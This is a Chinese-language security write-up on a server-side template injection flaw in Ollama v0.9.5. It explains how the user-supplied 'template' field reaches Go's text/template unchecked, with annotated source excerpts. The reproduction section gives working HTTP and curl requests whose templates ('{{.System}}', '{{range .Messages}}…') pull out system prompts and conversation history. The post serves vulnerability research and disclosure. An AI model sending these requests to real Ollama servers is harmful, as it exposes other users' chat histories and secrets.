Ollama Template Injection 漏洞分析
本文分析Ollama v0.9.5中因未验证用户输入导致的服务器端模板注入漏洞,攻击者可利用该漏洞读取敏感数据。
Ollama Template Injection 漏洞分析
前言
看到 ollama 的一个漏洞很有意思,模版注入,之前都不知道 ollama 还有这个漏洞

最后看到还给了赏金,看到了漏洞报告也比较有意思,于是来分析分析
一、漏洞描述
Ollama 在 v0.9.5 及更早版本中,/api/generate 和 /api/chat 端点存在服务端模板注入漏洞。当用户发送请求时,如果提供了 template 参数,系统直接将其传递给 template.Parse() 函数,使用 Go 的 text/template 引擎进行解析和执行,未进行任何安全验证。
二、环境搭建
我的环境
- 软件版本: Ollama v0.9.5 (漏洞版本)
- Go 版本: go1.25.3 darwin/arm64
- 测试模型: qwen2.5:0.5b
因为需要 go 编译,ollama 是 go 编写的
部署步骤
# 1. 下载漏洞版本源码
cd /Users/xxxxxx/Desktop/漏洞分析/Ollama
git clone --depth 1 --branch v0.9.5 https://github.com/ollama/ollama.git
cd ollama
# 2. 使用国内代理编译,因为我不挂代理老是失败
export GOPROXY=https://goproxy.cn,direct
go build -o ollama .
# 3. 启动 Ollama 服务
nohup ./ollama serve > ../logs/ollama.log 2>&1 &验证

搭建成功
三、漏洞分析/代码分析
漏洞触发链路
老规矩,先看链路,先懂整体流程后,然后再去分析代码,就会方便很多了
用户发送 POST 请求到 /api/generate
↓
GenerateHandler 处理请求 (server/routes.go:126)
↓
从请求中提取 template 参数 (req.Template)
↓
【漏洞点】template.Parse(req.Template) 直接解析用户输入
↓
Go text/template 引擎执行模板
↓
模板可访问 Values 结构体 (Prompt, System, Messages, Tools 等)
↓
敏感数据泄露代码分析
写在代码注释里面了,重点用🔴 标注了,这样更清晰
模板解析函数
文件位置: template/template.go:126-141
// Parse 函数直接解析用户输入的模板字符串
func Parse(s string) (*Template, error) {
// 创建新的模板实例,并注入自定义函数(包括 json 函数)
tmpl := template.New("").Option("missingkey=zero").Funcs(funcs)
// 🔴 直接解析用户输入的字符串 s
tmpl, err := tmpl.Parse(s)
if err != nil {
return nil, err
}
t := Template{Template: tmpl, raw: s}
// 检查模板是否包含 messages 或 response 变量
if vars := t.Vars(); !slices.Contains(vars, "messages") && !slices.Contains(vars, "response") {
// touch up the template and append {{ .Response }}
tmpl.Tree.Root.Nodes = append(tmpl.Tree.Root.Nodes, &response)
}
return &t, nil
}请求处理入口
文件位置: server/routes.go:229-238
// GenerateHandler 处理 /api/generate 请求
func (s *Server) GenerateHandler(c *gin.Context) {
// ... 省略前面的验证和模型加载代码 ...
prompt := req.Prompt
if !req.Raw {
tmpl := m.Template
// 🔴 如果用户提供了 template 参数,直接调用 template.Parse()
if req.Template != "" {
tmpl, err = template.Parse(req.Template) // ← 完全由用户控制
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
// ... 后续使用 tmpl 执行模板 ...
// 🔴 执行模板时传入 values 结构体
var b bytes.Buffer
if err := tmpl.Execute(&b, values); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// 模板输出变成发送给 LLM 的 prompt
prompt = b.String()
}
// ... 后续将 prompt 发送给 LLM ...
}可访问的数据结构
文件位置: template/template.go:165-177
// Values 结构体定义了模板执行时可访问的所有变量
type Values struct {
Messages []api.Message // 对话消息历史
api.Tools // 工具/插件配置 (嵌套结构)
Prompt string // 用户输入的提示词
Suffix string // 后缀内容
Think bool // 思考模式标志
IsThinkSet bool // 是否设置了思考标志
// forceLegacy 是测试兼容性的标志
forceLegacy bool
}这些决定了我们可以访问哪些内容,不过比较敏感的一般是对话历史,现在直接把完整的 key 丢给 LLM 是很正常的
模板执行函数
文件位置: template/template.go:225-310
// Execute 执行模板并将结果写入 writer
func (t *Template) Execute(w io.Writer, v Values) error {
// 整理消息,分离 system 消息
system, messages := collate(v.Messages)
if v.Prompt != "" && v.Suffix != "" {
return t.Template.Execute(w, map[string]any{
"Prompt": v.Prompt,
"Suffix": v.Suffix,
"Response": "",
"Think": v.Think,
"IsThinkSet": v.IsThinkSet,
})
} else if !v.forceLegacy && slices.Contains(t.Vars(), "messages") {
// 🔴 使用 Messages 模式时,可以访问完整对话历史,而对话历史中,往往存在敏感的信息,只有你敢想,真的什么都有,哈哈哈哈哈
return t.Template.Execute(w, map[string]any{
"System": system, // ← 可访问
"Messages": messages, // ← 可访问
"Tools": v.Tools, // ← 可访问
"Response": "",
"Think": v.Think,
"IsThinkSet": v.IsThinkSet,
})
}
// ... 后续处理逻辑 ...
}四、漏洞复现
验证服务运行
请求:
curl http://localhost:11434/api/version
查看可用模型
请求:
curl http://localhost:11434/api/tags
之前我拿这个测试过,所以文件会有点多
就使用千问模型
访问 Prompt 变量
我们可以先测试模型注入
请求:
POST /api/generate HTTP/1.1
Host: localhost:11434
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139
{
"model": "qwen2.5:0.5b",
"prompt": "SECRET_DATA_12345",
"template": "LEAKED:{{.Prompt}}",
"stream": false
}

输入的 prompt 变量回显说明 {{.Prompt}} 被成功解析, SECRET_DATA_12345 被注入到模型响应。
系统提示词
请求:
POST /api/generate HTTP/1.1
Host: localhost:11434
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
Content-Type: application/json
Content-Length: 139
{
"model": "qwen2.5:0.5b",
"prompt": "test",
"template": "{{.System}}",
"stream": false
}
访问对话历史
请求:
curl http://localhost:11434/api/generate \
-H "Content-Type: application/json" \
-d '{
"model": "qwen2.5:0.5b",
"prompt": "hi",
"template": "{{range .Messages}}Role:{{.Role}} Content:{{.Content}}|{{end}}",
"stream": false
}'
对话历史那里多,我如何获取关键信息,go 的模版能干的事情,我们一样干,比如要求返回的字符串
把字符串交给正则匹配解析,或者 key 神的 hae 插件
五、漏洞修复
还没有看到官方发布针对此漏洞的修复版本
其实感觉还是未授权的问题,导致任意用户都可以获取到别人的对话历史了
参考资料
- OWASP Server-Side Template Injection
- Go text/template 文档
- Ollama GitHub Repository
- CWE-94: Code Injection
- Go Template Injection Security Research
- 报告
免责声明: 本报告仅用于安全研究和教育目的。请勿将此信息用于未经授权的测试。
本文分析Ollama v0.9.5中因未验证用户输入导致的服务器端模板注入漏洞,攻击者可利用该漏洞读取敏感数据。
由 AI 根据全文自动生成,仅供参考,以原文为准